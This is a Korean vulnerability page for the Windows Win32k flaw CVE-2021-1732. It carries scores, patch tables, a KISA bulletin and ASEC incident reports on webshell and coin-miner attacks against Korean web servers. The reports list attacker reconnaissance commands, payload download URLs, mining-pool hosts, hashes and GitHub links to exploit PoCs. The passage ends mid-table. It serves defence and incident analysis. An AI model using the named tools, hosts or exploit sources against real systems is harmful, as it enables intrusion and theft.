CVE-2021-1732
위험도 높음 실제 악용 (KEV) 랜섬웨어 악용 공격 코드 공개 ASEC 언급 6건
- 우선순위 이 사이트의 참고 점수
- 17.65
- 위험도 CVSS 3.1 · 0~10점
- 7.8
- 악용 가능성 EPSS · 30일 안에 공격에 쓰일 확률
- 78.4%
- 공개일 NVD
- 2021-02-25
설명 NVD 원문
Windows Win32k 권한 상승 취약점
Claude 로 기계 번역한 글입니다. 정확한 내용은 영어 원문을 확인하세요.
영어 원문
Windows Win32k Elevation of Privilege Vulnerability
위험도 세부 항목 CVSS 3.1
- 공격 경로
- 로컬(장비 안) AV:L
- 공격 난이도
- 낮음(쉬움) AC:L
- 필요한 권한
- 일반 사용자 PR:L
- 사용자 행동 필요
- 필요 없음 UI:N
- 영향 범위
- 그 제품 안 S:U
- 정보 유출(기밀성)
- 높음 C:H
- 데이터 변조(무결성)
- 높음 I:H
- 서비스 중단(가용성)
- 높음 A:H
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
조치 방법 20행
| 출처 | 플랫폼·제품 | 방식 | 패키지 | 수정된 버전 | 권고문RHSA 등 | 내용 |
|---|---|---|---|---|---|---|
| KISA | Windows Kernel | 패치(업데이트) | KISA-35898 |
Microsoft 조치 (KB 업데이트) 19행
| 출처 | 플랫폼·제품 | 방식 | 패키지 | 수정된 버전 | 권고문RHSA 등 | 내용 |
|---|---|---|---|---|---|---|
| Microsoft | Windows 10 Version 1803 for 32-bit Systems | 패치(업데이트) | KB4601354 | KB4601354 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1803 for ARM64-based Systems | 패치(업데이트) | KB4601354 | KB4601354 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1803 for x64-based Systems | 패치(업데이트) | KB4601354 | KB4601354 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1809 for 32-bit Systems | 패치(업데이트) | KB4601345 | KB4601345 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1809 for ARM64-based Systems | 패치(업데이트) | KB4601345 | KB4601345 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1809 for x64-based Systems | 패치(업데이트) | KB4601345 | KB4601345 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1909 for 32-bit Systems | 패치(업데이트) | KB4601315 | KB4601315 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1909 for ARM64-based Systems | 패치(업데이트) | KB4601315 | KB4601315 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1909 for x64-based Systems | 패치(업데이트) | KB4601315 | KB4601315 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 2004 for 32-bit Systems | 패치(업데이트) | KB4601319 | KB4601319 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 2004 for ARM64-based Systems | 패치(업데이트) | KB4601319 | KB4601319 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 2004 for x64-based Systems | 패치(업데이트) | KB4601319 | KB4601319 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 20H2 for 32-bit Systems | 패치(업데이트) | KB4601319 | KB4601319 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 20H2 for ARM64-based Systems | 패치(업데이트) | KB4601319 | KB4601319 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server 2019 | 패치(업데이트) | KB4601345 | KB4601345 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server 2019 (Server Core installation) | 패치(업데이트) | KB4601345 | KB4601345 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server, version 1909 (Server Core installation) | 패치(업데이트) | KB4601315 | KB4601315 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server, version 2004 (Server Core installation) | 패치(업데이트) | KB4601319 | KB4601319 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server, version 20H2 (Server Core Installation) | 패치(업데이트) | KB4601319 | KB4601319 | 보안 업데이트 · 재시작 필요 |
CISA 조치 권고 KEV
제조사 안내에 따라 업데이트를 적용하세요.
영어 원문
Apply updates per vendor instructions.
미국 연방기관 조치 기한: 2021-11-17
살펴볼 장비 초안
공격 대상: 운영체제 (서버·PC 공통). '이 장비에서 살펴볼 취약점' 이라는 분류이며, 장비가 탐지한다는 확인이 아닙니다.
| 장비 보기 | 정도 | 분류 이유 |
|---|---|---|
| 서버 행위 (EDR·감사 로그) | 주 | 사용자 행동 없는 로컬 공격 (권한 상승 등) |
단계별 판정 예시 환경
시나리오 미작성 — 이 CVE 는 단계별 판정을 하지 않았습니다. 안전하다는 뜻이 아닙니다.
출처별 내용 8건
CISA KEV Microsoft Win32k Privilege Escalation Vulnerability 2021-11-03
Apply updates per vendor instructions.
KISA MS 2월 보안 위협에 따른 정기 보안 업데이트 권고 2021-02-10
□ 2월 보안업데이트 개요(총 12종) o 등급 : 긴급(Critical) 4종, 중요(Important) 8종 o 발표일 : 2020.2.10.(수) o 업데이트 내용 업데이트 내용 - 제품군, 중요도, 영향, KB번호의 정보를 제공 제품군 중요도 영향 KB번호 Windows 10 v20H2, v2004, v1909, v1809 및 v1803 긴급 원격 코드 실행 Windows 10 v2004 및 Windows 10 v20H2: 4601319 Windows 10 v1909: 4601315 Windows 10 v1809: 4601345 Windows 10 v1803: 4601354 Windows Server 2019, Windows Server 2016 및 Server Core 설치(2019, 2016, v20H2, v2004 및 v1909) 긴급 원격 코드 실행 Windows Server 2019: 4601345 Windows Server 2016: 4601318 Windows Server v2004 및 Windows Server v20H2: 4601319 Windows Server v1909: 4601315 Windows 8.1, Windows Server 2012 R2 및 Windows Server 2012 긴급 원격 코드 실행 Windows 8.1 및 Windows Server 2012 R2 월별 롤업: 4601384 Windows 8.1 및 Windows Server 2012 R2 보안 전용: 4601349 Windows Server 2012 월별 롤업: 4601348 Windows Server 2012 보안 전용: 4601357 Microsoft Office 관련 소프트웨어 중요 원격 코드 실행 4493211 등 5개 Microsoft SharePoint 관련 소프트웨어 중요 원격 코드 실행 4493210 등 4개 Microsoft Lync/비즈니스용 Skype 중요 서비스 거부 5000675 등 2개 Microsoft Exchange Server 중요 스푸핑 4602269 등 2개 Microsoft .NET 관련 소프트웨어 긴급 원격 코드 실행 4601318 등 15개 Microsoft Visual Studio 중요 원격 코드 실행 - Microsoft Dynamics 관련 소프트웨어 중요 정보 유출 4602915 Microsoft Azure 관련 소프트웨어 중요 권한 상승 - 개발자 도구 중요 원격 코드 실행 - [참고 사이트] [1] (한글) https://portal.msrc.microsoft.com/ko-kr/security-guidance [2] (영문) https://portal.msrc.microsoft.com/en-us/security-guidance [3] https://msrc.microsoft.com/update-guide/releaseNote/2021-Feb o 취약점 요약 정보 취약점 요약 정보 - 제품명, CVE 번호, 취약점 내용의 정보를 제공 제품명 CVE 번호 취약점 내용 .NET Core CVE-2021-26701 .NET Core 원격 코드 실행 취약성 .NET Core CVE-2021-24112 .NET Core 원격 코드 실행 취약성 .NET Core & Visual Studio CVE-2021-1721 .NET Core 및 Visual Studio 서비스 거부 취약성 .NET Framework CVE-2021-24111 .NET Framework 서비스 거부 취약성 Azure IoT CVE-2021-24087 Azure IoT CLI 확장 권한 상승 취약성 Developer Tools CVE-2021-24105 패키지 관리자 구성 원격 코드 실행 취약성 Microsoft Azure Kubernetes Service CVE-2021-24109 Microsoft Azure Kubernetes Service 권한 상승 취약성 Microsoft Dynamics CVE-2021-24101 Microsoft Dataverse 정보 유출 취약성 Microsoft Dynamics CVE-2021-1724 Microsoft Dynamics Business Central 교차-사이트 스크립팅 취약성 Microsoft Edge for Android CVE-2021-24100 Android용Microsoft Edge 정보 유출 취약성 Microsoft Exchange Server CVE-2021-24085 Microsoft Exchange Server 스푸핑 취약성 Microsoft Exchange Server CVE-2021-1730 Microsoft Exchange Server 스푸핑 취약성 Microsoft Graphics Component CVE-2021-24093 Windows 그래픽 구성 요소 원격 코드 실행 취약성 Microsoft Office Excel CVE-2021-24070 Microsoft Excel 원격 코드 실행 취약성 Microsoft Office Excel CVE-2021-24069 Microsoft Excel 원격 코드 실행 취약성 Microsoft Office Excel CVE-2021-24068 Microsoft Excel 원격 코드 실행 취약성 Microsoft Office Excel CVE-2021-24067 Microsoft Excel 원격 코드 실행 취약성 Microsoft Office SharePoint CVE-2021-24072 Microsoft SharePoint Server 원격 코드 실행 취약성 Microsoft Office SharePoint CVE-2021-24071 Microsoft SharePoint 정보 유출 취약성 Microsoft Office SharePoint CVE-2021-24066 Microsoft SharePoint 원격 코드 실행 취약성 Microsoft Office SharePoint CVE-2021-1726 Microsoft SharePoint 스푸핑 취약성 Microsoft Teams CVE-2021-24114 Microsoft Teams iOS Information Disclosure Vulnerability Microsoft Windows Codecs Library CVE-2021-24091 Windows 카메라 코덱 팩 원격 코드 실행 취약성 Microsoft Windows Codecs Library CVE-2021-24081 Microsoft Windows 코덱 라이브러리 원격 코드 실행 취약성 Netlogon CVE-2020-1472 NetLogon 권한 상승 취약성 Role: DNS Server CVE-2021-24078 Windows DNS 서버 원격 코드 실행 취약성 Role: Hyper-V CVE-2021-24076 Microsoft Windows VMSwitch 정보 유출 취약성 Role: Windows Fax Service CVE-2021-24077 Windows Fax 서비스 원격 코드 실행 취약성 Role: Windows Fax Service CVE-2021-1722 Windows Fax 서비스 원격 코드 실행 취약성 Skype for Business CVE-2021-24099 비즈니스용 Skype 서비스 거부 취약성 Skype for Business CVE-2021-24073 비즈니스용 Skype 및 Lync 스푸핑 취약성 SysInternals CVE-2021-1733 Sysinternals PsExec 권한 상승 취약성 System Center CVE-2021-1728 System Center Operations Manager 권한 상승 취약성 Visual Studio CVE-2021-1639 Visual Studio Code 원격 코드 실행 취약성 Visual Studio Code CVE-2021-26700 Visual Studio Code npm-script Extension Remote Code Execution Vulnerability Windows Address Book CVE-2021-24083 Windows 주소록 원격 코드 실행 취약성 Windows Backup Engine CVE-2021-24079 Windows 백업 엔진 정보 유출 취약성 Windows Console Driver CVE-2021-24098 Windows 콘솔 드라이버 서비스 거부 취약성 Windows Defender CVE-2021-24092 Microsoft Defender 권한 상승 취약성 Windows DirectX CVE-2021-24106 Windows DirectX 정보 유출 취약성 Windows Event Tracing CVE-2021-24103 Windows 이벤트 추적 권한 상승 취약성 Windows Event Tracing CVE-2021-24102 Windows 이벤트 추적 권한 상승 취약성 Windows Hyper-V CVE-2021-1692 Hyper-V 서비스 거부 취약성 Windows Installer CVE-2021-1727 Windows Installer 권한 상승 취약성 Windows Kernel CVE-2021-24096 Windows 커널 권한 상승 취약성 Windows Kernel CVE-2021-1732 Windows Win32k 권한 상승 취약성 Windows Kernel CVE-2021-1698 Windows Win32k 권한 상승 취약성 Windows Mobile Device Management CVE-2021-24084 Windows 모바일 장치 관리 정보 유출 취약성 Windows Network File System CVE-2021-24075 Windows 네트워크 파일 시스템 서비스 거부 취약성 Windows PFX Encryption CVE-2021-1731 PFX 암호화 보안 기능 우회 취약성 Windows PKU2U CVE-2021-25195 Windows PKU2U 권한 상승 취약성 Windows PowerShell CVE-2021-24082 Microsoft PowerShell 유틸리티 모듈 WDAC 보안 기능 우회 취약성 Windows Print Spooler Components CVE-2021-24088 Windows 로컬 스풀러 원격 코드 실행 취약성 Windows Remote Procedure Call CVE-2021-1734 Windows 원격 프로시저 호출 정보 유출 취약성 Windows TCP/IP CVE-2021-24094 Windows TCP/IP 원격 코드 실행 취약성 Windows TCP/IP CVE-2021-24086 Windows TCP/IP 서비스 거부 취약성 Windows TCP/IP CVE-2021-24074 Windows TCP/IP 원격 코드 실행 취약성 Windows Trust Verification API CVE-2021-24080 Windows 트러스트 검증 API 서비스 거부 취약성 □ 작성 : 침해사고분석단 취약점분석팀
ASEC 국내 웹 서버 대상 코인 마이너 공격 사례 분석 2024-06-18
웹 서버는 불특정 다수의 사용자들에게 웹 서비스를 제공하기 위한 목적으로 외부에 공개되어 있기 때문에 과거부터 공격자들의 대표적인 공격 대상이 되어 왔다. AhnLab SEcurity intelligence Center(ASEC)은 취약점이 패치되지 않았거나 부적절하게 관리되고 있는 취약한 웹 서버들을 대상으로 한 공격을 모니터링하고 있으며 확인된 공격 사례들을 블로그를 통해 공개하고 있다. ASEC은 최근 국내 의료 기관을 공격하여 코인 마이너를 설치하는 공격 사례를 확인하였다. 공격 대상이 된 웹 서버는 윈도우 IIS 서버였으며 웹쉘이 업로드된 경로명을 보면 PACS(Picture Archiving and Communication System) 제품이 설치된 시스템인 것으로 추정된다. PACS(Picture Archiving and Communication System)는 환자의 의료 영상을 디지털로 관리하고 전송하는 시스템으로써 병원에서 의료 영상을 시공간 제한 없이 조회하고 판독하기 위해 사용하는 시스템이다. 따라서 현재 많은 병원에서 PACS를 사용하며, 이 PACS 시스템에는 여러 전문 업체가 있어 의료 기관에 따라 사용하는 PACS 제품이 다를 수 있다. 공격 대상이 된 웹 서버에서는 다수의 웹쉘 업로드 시도가 확인되었으며 구체적인 정황은 확인되지 않지만 PACS 제품에 취약점이 있거나 관리자가 적절하게 보안 설정을 구축하지 않았을 것으로 추정된다. 해당 서버는 며칠 간격으로 두 공격자가 공격을 수행한 것으로 보이는데 이는 웹쉘 업로드 공격이 두 차례에 걸쳐 일어났으며 두 개의 공격에서 직접적인 연관성이 확인되지 않았기 때문이다. 두 공격 모두 중국어를 사용하는 공격자에 의해 이루어진 것으로 추정되는데 이는 Cpolar, RingQ와 같이 사용하는 도구들 중에서 중국어로 개발된 도구들이 다수 확인되었으며 중국어로 된 주석이 확인되었기 때문이다. 참고로 국내 취약한 웹 서버 대상 공격들 중 상당수는 중국어를 사용하는 공격자들로 추정되는 사례들이다. [1] [2] [3] 1. 첫 번째 공격 사례 처음 확인된 공격에서 공격자는 Chopper, Behinder와 같은 웹쉘을 사용하였다. 웹쉘 업로드에 성공한 공격자는 다음과 같은 명령들을 사용해 시스템의 정보를 수집하였다. > whoami > ipconfig > tasklist > systeminfo > netstat -ano > query user > ping 8.8.8.8 이후 설치한 웹쉘을 통해 권한 상승 도구인 BadPotato와 프록시 도구인 Cpolar를 설치하였다. Cpolar는 중국 개발자가 제작한 터널링 도구로서 Ngrok와 유사하다. 이러한 도구들은 일반적으로 외부에서 NAT 환경 내부에 존재하는 시스템에 접속할 수 있게 시스템을 노출시켜 주기 때문에 공격자들이 외부에서 RDP 원격 접속을 위해 설치하는 경향이 있다. 공격자는 이후 코인 마이너 악성코드를 설치하였는데 먼저 “1.cab” 파일을 다운로드하였다. “1.cab” 파일 내부에는 Batch 스크립트 악성코드인 “1.bat”을 포함하여 작업 스케줄러 등록에 사용될 xml, 코인 마이너 다운로더 악성코드들이 포함되어 있다. 다운로더 악성코드 또한 외부에서 zip 압축 파일을 다운로드해 설치한다. 참고로 코인 마이너 설치에 사용되는 “1.bat” 파일에서도 중국어로 작성된 주석을 확인할 수 있다. 즉 Ngrok 도구 대신 중국어 사용자들에게 익숙한 Cpolar가 사용되었다는 점이나 공격 스크립트에 포함된 주석에 중국어가 포함된 것을 통해 공격자가 중국어 사용자인 것을 추정할 수 있다. 공격자는 위에서 다룬 악성코드들만 사용하여 XMRig를 설치하였지만 실제 다운로드 주소에는 훨씬 많은 악성코드들이 존재한다. 웹쉘들 중에는 Caidao, ASPXspy가 존재하며 권한 상승 관련 도구들로는 BadPotato 외에도 GodPotato, PrintNotifyPotato, IIS LPE (by k8gege)가 있다. 이외에도 포트 포워딩을 위한 도구들도 Cpolar 외에 Frpc, Lcx가 업로드되어 있으며 추후 원격으로 접속하기 위한 목적으로 사용자 계정을 추가하는 악성코드들도 존재한다. “useradd.exe” 악성코드는 인자로 추가할 사용자 계정을 전달받을 경우 랜덤한 비밀번호로 계정을 추가하고 결과를 출력해서 보여주는 도구이다. Mining Pool sinmaxinter[.]top:7005 Table 1. 첫 번째 공격 사례에서 사용된 마이닝 풀 주소 2. 두 번째 공격 사례 두 번째 공격은 첫 번째 공격이 이루어진 며칠 후에 발생하였다. 최초 침투 과정에서는 이전 사례와 동일하게 웹쉘들을 설치하였으며 공격자는 Godzilla, Chopper, Behinder 등의 웹쉘을 사용하였다. 웹쉘 업로드에 성공한 공격자는 다음과 같은 명령들을 사용해 시스템의 정보를 수집하였다. > whoami > systeminfo > netstat -ant 두 번째 공격에서는 Certutil을 이용해 추가 악성코드를 다운로드한 것이 특징이다. 공격자는 권한 상승 목적으로 GodPotato, PrintNotifyPotato 그리고 CVE-2021-1732 취약점 악성코드를 설치하였다. 그리고 감염 시스템이 속한 네트워크를 탐색하기 위해 Fscan 도구와 원격 쉘을 설치하여 감염 시스템을 제어하기 위한 Netcat을 설치하였다. 그리고 이전 사례에서 Cpolar, Frpc, Lcx를 사용한 것과 달리 이번에는 프록시 도구로서 EarthWorm을 사용한 것이 특징이다. 공격자는 이외에도 Ladon을 설치하였는데 Ladon은 공격 과정에서 필요한 다양한 기능들을 지원하는데 대표적으로 스캐닝, 권한 상승, 계정 정보 탈취, 리버스 쉘과 같은 다양한 기능들이 있다. Ladon은 중국어를 사용하는 개발자가 제작하였으며 이러한 이유인지 중국어를 사용하는 공격자들이 자주 사용하는 경향이 있다. RingQ라고 하는 도구가 공격에 함께 사용되었다는 점도 공격자가 중국어 사용자인 것을 추정할 만한 근거 중 하나이다. RingQ는 인젝터 도구라고 할 수 있는데 일반적인 악성코드들 및 도구들이 AntiVirus 제품에 의해 쉽게 탐지되는 것을 막기 위해 암호화한 후에 메모리 상에서 실행시켜 주는 도구이다. 공격자는 “Create.exe”를 통해 악성코드를 “main.txt”라는 이름으로 암호화하여 유포하는 방식으로 AntiVirus 제품의 파일 진단을 우회할 수 있으며 이후 RingQ를 실행하면 암호화된 악성코드 즉 “main.txt”를 메모리 상에서 실행시켜 준다. 해당 공격자의 최종적인 목적은 첫 번째 사례와 동일하게 코인 마이너를 설치하는 것이다. 공격자가 업로드한 Aspx 파일들 대부분은 웹쉘이지만 이외에도 다운로더 기능을 담당하는 Aspx 악성코드도 존재한다. 해당 악성코드는 외부에서 “aspx.exe”라는 이름의 추가 페이로드를 다운로드해 실행한다. “aspx.exe”는 다운로더로서 XMRig 코인 마이너를 다운로드해 메모리 상에서 실행하는 악성코드이다. Mining Pool c3.wptask[.]cyou:33333 sky.wptask[.]cyou:9999 auto.c3pool[.]org:33333 auto.skypool[.]xyz:9999 141.11.89[.]42:8443 141.11.89[.]42:995 141.11.89[.]42:465 45.147.51[.]78:465 45.147.51[.]78:995 45.130.22[.]219:995 45.130.22[.]219:465 info.perflogs[.]top:995 pop3.wptask[.]cyou:995 smtp.wptask[.]cyou:465 Table 2. 두 번째 공격 사례에서 사용된 마이닝 풀 주소 3. 결론 웹 서버를 대상으로 하는 공격은 지속적으로 발생하고 있으며 최근에는 국내 의료 기관을 대상으로 한 공격 사례가 확인되었다. 공격은 며칠 간격으로 두 차례 발생하였으며 여러 가지 정황들에 따르면 두 공격 사례 모두 공격자는 중국어 사용자로 보이며 최종적인 목적은 코인 마이너를 이용해 가상 화폐를 채굴하는 것이었다. 물론 설치한 웹쉘 및 NetCat을 통해 원격 제어가 가능하며 이외에도 RDP 접속을 목적으로 프록시 도구들을 설치한 것을 보면 공격자에 의한 정보 유출 또한 발생할 수 있다. 관리자는 웹 서버에 존재하는 파일 업로드 취약점을 점검하여 초기 침투 경로인 웹셸 업로드를 사전에 막을 수 있도록 해야 한다. 그리고 비밀번호를 주기적으로 변경하고 접근 제어를 설정하여 탈취된 계정 정보를 이용한 측면 이동 공격에 대응해야 한다. 또한 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. 파일 진단 – WebShell/ASP.Agent.SC200079 (2024.06.17.02) – WebShell/ASP.Agent.SC199712 (2024.05.24.00) – WebShell/ASP.Agent.SC199713 (2024.05.24.00) – WebShell/ASP.Agent.SC199714 (2024.05.24.00) – WebShell/ASP.Agent (2024.05.24.00) – Downloader/ASP.Malurl.SC199711 (2024.05.24.00) – WebShell/JSP.Behinder.SC188179 (2023.05.12.01) – WebShell/ASP.Generic.S2184 (2023.03.22.03) – WebShell/ASP.ASpy.S1362 (2021.02.02.07) – WebShell/ASP.Generic.S1855 (2022.06.16.00) – WebShell/ASP.Small.S1378 (2021.02.24.02) – WebShell/ASP.Small.S1400 (2021.03.16.02) – WebShell/ASP.Generic.S1422 (2021.03.30.03) – WebShell/ASP.Generic.S1775 (2022.04.14.00) – HackTool/Win.BadPotato.C4177837 (2023.09.01.00) – Downloader/Win.Miner.C5626012 (2024.05.27.00) – Trojan/Win.Potato.C5626014 (2024.05.27.00) – HackTool/Win.Frpc.C5626022 (2024.05.27.00) – HackTool/Win.Cpolar.C5641794 (2024.06.17.03) – Trojan/Win.Miner3.R647471 (2024.05.08.02) – Unwanted/Win.NSSM.C5625980 (2024.05.27.00) – Downloader/Win.Miner.C5625979 (2024.05.27.00) – HackTool/Win.RingQ.C5625987 (2024.05.27.00) – Dropper/Win.Generic.C5624814 (2024.05.24.00) – Trojan/Win.Generic.C5501120 (2023.10.06.03) – Trojan/Win.AddUser.R649913 (2024.05.27.00) – Trojan/Win.Generic.C5584377 (2024.02.05.02) – Trojan/Win.MSILMamut.C5410538 (2023.04.13.01) – HackTool/Win.Cpolar.C5641787 (2024.06.17.03) – Exploit/Win.PrintNotifyPotato.R561362 (2023.08.14.00) – HackTool/Win.Frpc.C5641788 (2024.06.17.03) – HackTool/Win.Htran.C5626020 (2024.05.27.00) – Exploit/Win.Consoler.R548809 (2023.01.05.03) – HackTool/Win.LCX.C5626011 (2024.05.27.00) – HackTool/Win32.Earthworm.C2185399 (2017.10.10.07) – HackTool/Win.Netcat.C5355532 (2023.01.11.02) – HackTool/Win.Netcat.C5283500 (2022.10.18.03) – Trojan/XML.Runner (2024.06.18.00) – CoinMiner/BAT.Agent (2024.06.18.00) – Trojan/BAT.AddUser (2024.06.18.00) – Trojan/BAT.AddUser (2024.06.18.00) – HackTool/Script.Frpc (2024.06.18.00) 행위 진단 – Malware/MDP.Download.M1900 – Execution/MDP.NetCat.M4516 MD5 10b6e46e1d4052b2ad07834604339b57 10cf4d43163ee395ddad1fe7e777e2c9 1fdb1dd742674d3939f636c3fc4b761f 205e6247f5a0dce8a55910354c816a61 2183043b19f4707f987d874ce44389e3 URL http[:]//1[.]119[.]3[.]28[:]7455/ http[:]//14[.]19[.]214[.]36/11[.]exe http[:]//14[.]19[.]214[.]36/RingQ[.]exe http[:]//14[.]19[.]214[.]36/aa[.]aspx http[:]//14[.]19[.]214[.]36/ew[.]exe AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.
ASEC 국내 기업 타겟의 FRP(Fast Reverse Proxy) 사용하는 공격 그룹 2022-08-16
최근 외부에 노출된 취약한 서버를 시작으로 하여 침투한 공격자가 내부 네트워크까지 장악하는 침해 사고가 국내 기업들을 대상으로 빈번히 이루어지고 있다. 취약한 Atlassian Confluence 서버를 대상으로 하는 공격 사례 국내 의료기관의 취약한 서버를 대상으로 유포된 미터프리터(Meterpreter) 취약한 MySQL 서버를 대상으로 유포 중인 AsyncRAT 악성코드 이번 사례는 IIS 웹서버나 MS Exchange 서버 침해 사고로 기존에 알려진 유형과 동일하나, 개인이 아닌 특정 공격 그룹으로 추정 되는 사례를 소개하고자 한다. 해당 그룹의 가장 큰 특징을 FRP 오픈소스 도구를 사용 한다는 점이다. 이 그룹은 외부에서 접근 가능한 서버를 찾아 공격하며 침투가 이뤄지면 권한 상승을 시도한다. 이후 더욱 완벽한 접근 제어를 위해 FRP(Fast Reverse Proxy)나 LCX(Htran 이라고 불림) 도구를 설치하는데, 특히 FRP 도구를 주로 사용하였다. 또한 FRP를 설치 시 특정 다운로드 주소를 사용하는데, FRP가 업로드된 다운로드 서버는 국내 기업의 웹 서버로 공격자가 이미 장악한 후 악용 하고 있는 것으로 보인다. 이 밖에도 FRP를 설치 시 특정 파일명을 사용 하거나 또 다른 국내 기업의 서버를 장악해 FRP 사용 시 필요한 중계 서버로서 악용 했다는 점이 특징이다. 현재 침해가 발생한 것으로 추정되는 기업은 반도체 업체, 사출기 업체, 리조트 업체, 건설 업체, 소프트웨어 업체 등 20여 곳으로 공격자는 구체적인 분야를 가리지 않고 공격을 시도 한 것으로 보인다. 특히 이번 케이스는 외부 취약한 서버를 시작으로 최종 단계인 랜섬웨어까지 감염된 사례가 있어 각별한 주의가 필요하다. 1. ASP 웹쉘 취약한 웹서버를 대상으로 하는 공격에는 대부분 웹쉘이 사용된다. 웹쉘은 웹 서버에 업로드되어 파일 탐색이나 시스템 쉘 명령들을 실행할 수 있게 하는 파일로서 공격 대상 시스템에 설치되면 공격자들은 지속성을 유지하면서 감염 시스템을 제어할 수 있다. 웹 서버에 따라 지원하는 언어가 달라지며 그 말은 웹쉘의 언어도 달라지는 것을 의미한다. 예를들어 PHP를 지원하는 아파치 웹 서버에서는 PHP 웹쉘이 사용되며 톰캣과 같은 자바 환경에서는 JSP, IIS 웹 서버는 ASP 및 ASPX로 개발된 웹쉘이 사용된다. 여기에서는 취약한 IIS 웹 서버를 대상으로 공격한 사례를 다루기 때문에 ASPX(ASP) 웹쉘이 공격에 사용되었다. ASPXSpy는 대표적인 ASPX 웹쉘로서 공격자가 다수의 공격에 사용한 이력이 확인된다. i. ASPXSpy ASPXSpy는 비밀번호를 필요로 하기 때문에 설치된 경로에 접속한 후 비밀번호 입력 창에서 정확한 비밀번호를 입력해야 다음과 같은 제어 패널을 사용할 수 있다. (참고로 비밀번호는 MD5 해시 값을 비교해서 검증하는데 위의 웹쉘은 공격자가 비밀번호를 변경한 것으로서 “admin”이 아니다.) 공격자는 이 패널에서 정보 조회, 파일 생성, 프로세스 실행과 같은 다양한 악성 행위를 수행할 수 있다. 2. 권한 상승 업로드된 웹쉘은 IIS 웹 서버 프로세스 즉 w3wp.exe 프로세스에 의해 실행된다. 일반적으로 w3wp.exe 프로세스는 낮은 수준의 권한을 가지고 있기 때문에 정상적인 악성 행위를 수행하기 위해서는 더 높은 권한을 필요로 한다. 이에 따라 공격자들은 다양한 툴들을 이용해 높은 권한을 획득하는 권한 상승 과정이 필요하다. 공격자들은 일반적으로 JuicyPotato, SweetPotato와 같은 악성코드들을 이용했으며, 이외에도 다양한 로컬 권한 상승(LPE : Local Privilege Escalation) 취약점 PoC를 사용한 이력도 확인된다. 여기에서는 권한 상승 단계에서 사용된 각각의 사례에 대해 정리한다. 2.1. Potato 포테이토는 깃허브에 공개된 오픈 소스 권한 상승(Privilege Escalation) 도구이다. 현재 실행 중인 프로세스 계정의 토큰 중 특정 권한(Privilege)을 악용하는 방식으로서 시스템 권한으로 권한을 상승시켜 주는 기능을 제공한다. IIS 웹 서버에서는 w3wp.exe 프로세스가 웹 서비스를 담당하며 MS-SQL 서버에서는 sqlservr.exe 프로세스가 MS-SQL 서비스를 담당한다. 예를 들어 w3wp.exe 프로세스는 IIS Apppool\DefaultAppPool가 주체로 실행되는데 이 경우에는 일반적인 관리자나 표준 사용자 계정과 달리 프로세스 및 파일과 같은 다양한 기능을 수행하기에 제약이 따른다. 즉 공격자들은 웹쉘이나 사전 공격을 통해 해당 프로세스를 제어할 수 있다고 하더라도 적절한 권한이 존재하지 않기 때문에 원하는 악성 행위를 수행할 수 없다. 이를 위해 권한 상승이 필요한데 일반적으로 w3wp.exe 프로세스나 sqlservr.exe 프로세스가 SeAssignPrimaryToken 또는 SeImpersonate 권한을 가지고 있다. 대부분의 포테이토 도구는 이렇게 SeAssignPrimaryToken 또는 SeImpersonate 권한이 활성화된 프로세스 악용하여 시스템 권한 즉 NTAUTHORITY\SYSYEM 계정으로 권한 상승하며, 이에 성공할 경우 공격자는 해당 시스템 내에서 제약 없이 대부분의 악성 행위를 수행할 수 있다. 포테이토 권한 상승 도구는 JuicyPotato, RoguePotato, RottenPotato 등 여러 종류가 있다. 하지만 국내에서 확인된 대부분 사례의 경우 세 가지 종류의 포테이토 도구를 사용되었다. Potato 종류 MD5 JuicyPotato 0311ee1452a19b97e626d24751375652 808502752ca0492aca995e9b620d507b 4bafbdca775375283a90f47952e182d9 BadPotato 9fe61c9538f2df492dff1aab0f90579f ab9091f25a5ad44bef898588764f1990 87e5c9f3127f29465ae04b9160756c62 SweetPotato fd0f73dd80d15626602c08b90529d9fd 937435bbcbc3670430bb762c56c7b329 [표 1] 공격에 사용된 Potato 도구 2.2. 취약점 (익스플로잇) 공격자들은 Potato 유형의 악성코드들 외에도 깃허브에 공개되어 있는 다양한 권한 상승 취약점(LPE : Local Privilege Escalation) PoC들을 이용한다. 다음은 공격에 사용된 취약점들과 각각의 취약점을 악용하는 PoC 악성코드들의 목록이다. 취약점 유형 MD5 비고 CVE-2018-8440 LPE 4c56462a3735dba9ee5f132f670e3fb1 https://github.com/alpha1ab/Win2016LPE CVE-2019-1405 + CVE-2019-1322 LPE 2e2ddfd6d3a10d5dd51f8cbdeaeb4b75 6a60f718e1ecadd0e26893daa31c7120 https://github.com/apt69/COMahawk CVE-2021-1675 LPE e81a9b194cf1bcd4f1bbf21338840ece https://github.com/evilashz/CVE-2021-1675-LPE-EXP CVE-2021-1732 LPE d406d8889dc1f2d51954808f5587415d ed1762b09d0a966d7a2d6c9167ea5499 https://github.com/KaLendsi/CVE-2021-1732-Exploit CVE-2021-36934 LPE 055cc4c30260884c910b383bb81cf7c8 https://github.com/GossiTheDog/HiveNightmare CVE-2021-40449 LPE b08b660ed646c390d5a254070123c74c https://github.com/ly4k/CallbackHell CVE-2022-21882 LPE 